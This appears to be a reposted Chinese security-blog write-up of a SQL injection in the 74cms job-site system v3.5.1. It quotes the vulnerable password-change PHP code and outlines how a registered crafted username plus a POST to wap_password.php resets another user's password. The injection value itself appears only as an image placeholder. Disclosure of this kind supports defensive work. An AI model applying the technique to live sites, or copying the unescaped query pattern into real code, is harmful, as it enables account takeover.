记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

骑士人才系统sql注入导致任意用户密码修改

2015-01-02 04:21

骑士人才系统 sql注入导致任意用户密码修改

wap_password.php:
 


elseif ($act == 'save_password')
{
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$arr['username']=$_SESSION['username'];
$arr['oldpassword']=trim($_POST['oldpassword'])?trim($_POST['oldpassword']):exit('请输入旧密码!');
$arr['password']=trim($_POST['password'])?trim($_POST['password']):exit('请输入新密码!');
if ($arr['password']!=trim($_POST['password1'])) exit('两次输入密码不相同,请重新输入!');
//edit_password()修改密码的方法
$info=edit_password($arr);


我们跟进到这个函数edit_password:

fun_user.php:
 


function edit_password($arr,$check=true)
{
global $db,$QS_pwdhash;
if (!is_array($arr))return false;
$user_info=get_user_inusername($arr['username']);
$pwd_hash=$user_info['pwd_hash'];
$password=md5(md5($arr['oldpassword']).$pwd_hash.$QS_pwdhash);
if ($check)
{
$row = $db->getone("SELECT * FROM ".table('members')." WHERE username='{$arr['username']}' and password = '{$password}' LIMIT 1");

if(empty($row))
{
return -1;
}
}
$md5password=md5(md5($arr['password']).$pwd_hash.$QS_pwdhash);
if ($db->query( "UPDATE ".table('members')." SET password = '$md5password' WHERE username='".$arr['username']."'")) return $arr['username'];
write_memberslog($_SESSION['uid'],$_SESSION['utype'],1004,$_SESSION['username'],"修改了密码");
return false;
}


看见没有这里的意思是如果我们找到了username,那么我们底下就update该用户的密码

我们到注册页面:
 

1.jpg

注册完毕后 我们的意图就是更改test的密码

然后我们发送url:

http://localhost/74cms_v3.5.1_20141015/upload/wap/personal/wap_password.php?act=save_password

post:

oldpassword=xxxxx&password=yyyy&password1=yyyy

test用户的密码就被修改给yyyy了

登陆 看看:


 

15.png

 

解决方案:

加强过滤

知识来源: www.2cto.com/Article/201501/365723.html

阅读:135720 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“骑士人才系统sql注入导致任意用户密码修改”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云